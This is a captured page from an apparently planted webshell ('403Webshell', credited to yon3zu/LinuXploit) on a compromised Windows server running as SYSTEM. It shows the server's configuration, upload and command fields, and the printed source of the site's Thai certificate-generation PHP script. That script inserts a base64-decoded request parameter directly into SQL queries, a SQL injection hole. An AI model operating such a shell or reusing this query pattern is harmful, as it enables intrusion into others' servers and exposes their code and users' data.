403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/training/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/training/user//certi2.php
<?php
function thainumDigit($num) {
    return str_replace(
        array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9'),
        array("๐", "๑", "๒", "๓", "๔", "๕", "๖", "๗", "๘", "๙"),
        $num
    );
}

include '../db.php';
include '../pdf1.84/fpdf.php';

// Start session if not already started
if (session_status() == PHP_SESSION_NONE) {
    session_start();
}

// Retrieve and decode the user ID from the URL
$encoded_id = isset($_REQUEST['id']) ? $_REQUEST['id'] : '';
$user_id = base64_decode($encoded_id);

// Fetch user information from the database
$user_query = mysqli_query($conn, "SELECT u_name FROM users WHERE id = $user_id");
$user = mysqli_fetch_assoc($user_query);

// Check if user exists
if (empty($user) || empty($user['u_name'])) {
    echo "ไม่พบข้อมูลชื่อผู้ใช้";
    exit;
}

$user_name = $user['u_name'];

// Verify eligibility for Diamond Certificate
// Check 2568 curriculum subjects
$result_2568 = mysqli_query($conn, "
    SELECT COUNT(s.id) as total_2568, 
           SUM(CASE WHEN er.passed = 1 THEN 1 ELSE 0 END) as passed_2568
    FROM subjects s
    LEFT JOIN exam_results er ON s.id = er.subject_id AND er.user_id = $user_id
    WHERE s.curriculum_year = '2568'
");
$row_2568 = mysqli_fetch_assoc($result_2568);
$total_2568 = $row_2568['total_2568'];
$passed_2568 = $row_2568['passed_2568'];
$passed_2568_all = ($passed_2568 >= $total_2568 && $total_2568 > 0);

// Check 2565-2567 curriculum subjects
$result_2565_2567 = mysqli_query($conn, "
    SELECT COUNT(*) as passed_2565_2567
    FROM exam_results er
    JOIN subjects s ON er.subject_id = s.id
    WHERE er.user_id = $user_id AND er.passed = 1 AND s.curriculum_year = '2565-2567'
");
$row_2565_2567 = mysqli_fetch_assoc($result_2565_2567);
$passed_2565_2567 = $row_2565_2567['passed_2565_2567'];

if (!$passed_2568_all || $passed_2565_2567 < 10) {
    echo "คุณไม่มีสิทธิ์รับเกียรติบัตรเพชร";
    exit;
}

// Generate certificate number
$cert_id = date('Y') . sprintf('%04d', $user_id);

// Create PDF
$pdf = new FPDF('L', 'mm', 'A4');
$pdf->SetAutoPageBreak(false);
$pdf->AddPage();
$pdf->AddFont('sarabun', '', 'THSarabun.php');
$pdf->AddFont('sarabunb', '', 'THSarabunB.php');
$pdf->Image('img/daim.png', 0, 0, 297, 210);

// Display user name
$pdf->SetXY(49, 50);
$pdf->SetFont('sarabunb', '', 58);
$pdf->SetTextColor(29, 48, 94);
$pdf->Cell(200, 84, iconv('utf-8', 'cp874', $user_name), 0, 1, 'C');

// Display certificate number
$pdf->SetXY(200, 13);
$pdf->SetFont('sarabun', '', 18);
$pdf->SetTextColor(0, 0, 0);
// $pdf->Cell(65, 40, iconv('utf-8', 'cp874', 'เลขที่ สพม.รบ. ' . thainumDigit($cert_id) . '/๒๕๖๘'), 0, 1, 'R');

$pdf->Output();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit